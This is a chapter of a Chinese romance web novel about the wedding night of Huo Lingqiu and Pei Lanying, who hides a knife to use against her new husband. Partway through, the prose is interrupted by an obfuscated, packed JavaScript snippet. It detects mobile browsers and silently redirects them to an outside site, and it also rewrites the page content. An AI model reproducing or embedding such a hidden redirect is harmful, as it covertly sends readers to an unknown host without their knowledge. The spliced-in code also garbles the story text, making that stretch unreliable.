被霍凌秋丢掉的那根金簪,终究是被魏希远借春棠之手送给了裴兰瑛。
那日她都没能仔细瞧瞧这金簪,此时落在手心,她才能细细看。
金簪做工并不繁复,簪上雕莲花纹,尾处一颗白玉镶嵌,不华贵,却素雅,合裴兰瑛的意。
春棠待在一旁,不吱声也不离去,前日裴兰瑛偷偷溜出去,着实把她吓了一番,她又胆战心惊地站在屋外寸步不离。不必想,她也知道当日自家姑娘究竟去了哪儿。若不是最后见她回来,春棠还真不知该如何交代。
半个时辰前魏希远偷偷寻春棠,她本是不敢也不愿去见的,可想到裴兰瑛,她还是迈开步子去见他一面,收下他要给裴兰瑛的金簪。
今日成婚,裴兰瑛一身赤色婚服,头戴凤冠,唇点朱红,一颦一笑都格外艳绝,如画中仙现。
只是她越冷静,春棠越内心恐慌,便在这近夏的日子,毫不察觉自己背脊已蒙上一层细微冷汗。
“姑娘,这金簪我为你插上吧。”
“不必了。”
裴兰瑛抽出妆匣未落一物的一层,将金簪小心放了进去,随即掌心贴案缓缓起身,在喜庆的房中踱步。
床榻上已换成绯色刺绣被褥,房中各处皆见“喜”字。
她不说话,春棠也不敢多言,心却随时牵系她每声轻微脚步。
“春棠,你放心,今日我不会去见他,可我要你为我做一件事。”
春棠垂首,手抖动得厉害,闻裴兰瑛所言那刻,她才实实在在知晓四肢发寒般僵硬是怎样的感受,可她心里却腾起一股异样的踏实。
她该想到的,在这最后关头,裴兰瑛又怎肯为了旁人而顺心顺意地接受这一切?
—
霍府处处张灯结彩,每根檐柱、每扇窗都被擦得泛起油润光泽。道喜宾客络绎不绝,家中无有亲人,霍凌秋便独当一面,与他们吃酒聊天,幸好老师、裴今尘还有裴义庆相继前来,否则他一人还真是忙不过来。
见霍凌秋穿着婚服忙前忙后,又喝了不少酒,走起路来都轻飘飘的,宋文述实在心疼,“许久就听你舅舅说要回京,到今天仍未见影,外甥成婚不能亲自来,他定要遗憾,若是他在你也能好受些。”
两人成婚的书信在靖元帝赐婚那日宋文述便托人加急送给远在江州的许平山,让他得闻外甥喜讯,了却心中挂念的一桩大事。只是京城与江州相隔甚远,他实在赶不回来,更不能亲眼见外甥穿婚服行拜堂礼娶妻的模样。
霍凌秋喝一口解酒茶,“等舅舅回京,我再与他喝上几杯。”
裴今尘见他脸上醉意,“你也真是傻,旁人同你喝酒,你又何必次次喝得酒杯见底,兰瑛若是见你醉醺醺的,定要恼。这余下的酒你就别再喝了,我替你喝。”
一来霍府裴义庆嘴角就没放下过,今日霍凌秋与裴兰瑛成婚,他最是欣喜,对这位女婿格外满意,“凌秋今日可是新郎官,定是万分欣喜,不过今尘说的对,这酒还是少喝些为好,等你舅舅回来再喝个烂醉也不迟。”
裴今尘想爹爹定是喝醉了,说起话来也是犯傻。自己本意便是让霍凌秋少喝些酒,可他倒好,不过是劝霍凌秋今日酒来日灌,最终还是喝醉过去。
他索性岔开话题,“你打算何时回军营?”
听他提起分离之事,裴义庆稍有不快,“凌秋与兰瑛今日成婚,你就想着凌秋回军营的事,两人新婚,定要一同待上一段时日。”
霍凌秋扶宽袖,为裴义庆与宋文述各自倒上一碗解酒茶,“边疆生活比不上家里,兰瑛怕是住不惯,定是要留在京城。至于何时回京,还尚未决定,不过也快了。此次回京已待上近三月,着实太久,军营虽有其他人在,可我也不能不管。”
他虽想将裴兰瑛留在身边,好生照料她,可他常在军营,裴兰瑛定是不会去军营的,而边疆生活又颇为不易,她若是去了,也是整日无趣,孤零零的。
京中有家人友人,霍凌秋还是宁愿她待在这儿。更何况,就是他有心带她过去,她也肯定不愿意,她巴不得离他越远越好,而他回军营正全了她的意。
于此,他有自知之明。
裴今尘倒是乐观,“有兰瑛在,你这府上往后定是热闹许多,不必像往日那般冷清。”
霍凌秋在边疆的这十年,霍府便是少有人息,更有些荒凉。
裴今尘还记得幼时许多欢快时光,每当霍父从边疆回京,他们这些孩子便会跟在他身后,见他舞刀弄剑,英姿飒爽。只是当他们闹着要学这些刀剑招式时,他总是将剑收起,告诉他们要随老师好好通读圣贤书,往后留在朝堂做一个为天下人的臣子,不要学他打打杀杀。
霍凌秋点头,心里升起一股暖意,有如久旱大地突逢甘霖,实在久违。他不舍得错过每一滴雨露,恨不得将它们都吸收殆尽,化为体内的一部分。
几杯解酒茶下肚,他头脑清醒许多,心思却早已飞到那挂满赤红幔帷的屋子,想到穿着层叠婚服坐在软榻上的人儿。
宋玉音终于从裴兰瑛那儿回来,她穿着姜黄襦裙,一根同色丝带盘绕乌发,垂在她肩头。
裴今尘立时正襟危坐。
她坐在宋文述一旁,自然地接过裴今尘递来的茶盏,垂眸抿一口。
裴今尘:“兰瑛可还好?”
霍凌秋凝神,喉结滚动一下。
“那是自然,”她瞥一眼霍凌秋,又喝一口茶,“只是兰瑛身子稍有不适,在屋内修养修养便好。”
裴今尘关心:“好端端的怎会不适?我去请人来看看。”
宋玉音匆忙拦住他,“兰瑛说要静养,我也看过,不碍事的。定是今日早起梳洗,白日又劳累,让她好好休息休息,今夜早些睡就好。”
—
屋内寂静,红色香烛火光摇曳,裴兰瑛坐在床榻边,百无聊赖地伸手去扯挂在床檐上的红色绸缎。
房内一片赤红,身后又是绣着莲花与鸳鸯的丝绸被褥,这种种一切,都与上一世别无二致。
裴兰瑛刚收回神思,窗上便倒映人影,很快,那道人影停在门外。
她按住手指,思绪不敢有分毫松懈。
良久,霍凌秋才推门进来。
他穿着修身婚服,腰缠玉带,外面一件宽袖红袍。他步步离近,那张棱角分明却让她心有恐慌的脸映入眼帘。
他喝了许多酒,脸颊上淡淡绯色,一股冷冽酒气顿时钻入裴兰瑛鼻中,让她忍不住蹙眉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543478|186428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
霍凌秋顿步。
裴今尘虽说要替他喝,可面对许多宾客,他不得不喝上几杯。待宾客散尽,他才匆匆忙忙喝上几杯解酒茶,在外散去满身酒气才敢进来。
可见裴兰瑛蹙眉,他才知道自己所为皆是徒劳。
床榻上的人儿戴着华贵凤冠,双唇红艳,她着婚服的模样霍凌秋虽看过,可那时他无心细看,直到今夜,他才能周遭无旁人静静去观。层层幔帷落在她身后,衬得她更为美艳。
他从未见过如此的她。
“宋玉音说你身子不适,现在可好些?”
裴兰瑛双手交叠,一路向上握住小臂,处处提防他。
她不理会,霍凌秋索性蹲在她身前,抬手贴近她脖颈。
“你不说,我亲自帮你看。”
裴兰瑛伸手将他手腕按住,神色嫌恶,“别碰我。”
霍凌秋愣住片刻,笑了出来,他垂首缓神,可在瞧见她腰间所佩玉莲,心像是落在地上那般难捱。
这玉佩太过碍眼,他一把扯过玉莲,紧紧握在手心。
“这玉莲不配你,明日我就请京中最好的玉匠为你再做一个。”
裴兰瑛伸手去夺,却掰不动他锢若牢笼的五指,“这玉莲是我的,只要我喜欢,它便是最好的。”
他猝不及防想起那日在裴府外夹杂着潮湿雨露的一番话,他最恨旁人扰心,更何况是这样一个上不了台面的人。
浑身筋骨与血液顿时涌动,让他死死握住玉莲,恨不得将它按个粉碎。
裴兰瑛只顾着玉莲,浑然未觉一只手搭在她腰间,等她反应过来,一切都晚了。
她被按在被褥间,床上悬挂的鲜红幔帷绽放,而眼前之人脖颈血脉似树根虬结,激烈鼓动。
裴兰瑛伸手抵住这如虎伏身的人,浑身紧绷,抗拒他的触碰,也厌恶他的一呼一吸。
“成婚之夜,谋杀亲夫,夫人这是要做什么?”
霍凌秋抽出她藏在腰后的短刀,垂眸瞧一眼,又满不在乎地将刀向后丢去。锋利的刀刃从刀鞘滑落,在地上翻动一下。
他既已发现,她也不否认,可听他亲切呼喊,心里泛起一阵恶心。
“谁是你夫人?!”
“三书六聘,明媒正娶,今日你我已拜堂,又在佛前起誓,我霍凌秋的夫人不是你裴兰瑛,还能是谁?”
腰间的力度散去,她顺势倒在柔软的床榻间,挽起的发散得凌乱。
霍凌秋起身,脱去外袍,手又按在腰封。
裴兰瑛大惊,捂住胸口,“你要做什么?”
他哂笑,解下玉带,“自然是洞房。”
听这两字,她猛地撑起身子,着急忙慌地从床上下来,不顾脚上的绣花鞋脱落,匆忙捡起地上的刀,后退到房间一角。
凤冠松散地搭在她凌乱的发髻上,又随她的脚步晃动,险要掉落。她狼狈得不成样子,拿刀防他如防吃人的恶鬼。
霍凌秋继续解衣,层层婚服皆被他剥落,放置在一旁。他身着亵衣,走至灯前,吹灭一盏盏灯烛。
屋内骤然暗去,唯留她身旁一盏灯。
她以为他会靠近,可最后,他竟脱去鞋袜,掀开被子躺了进去。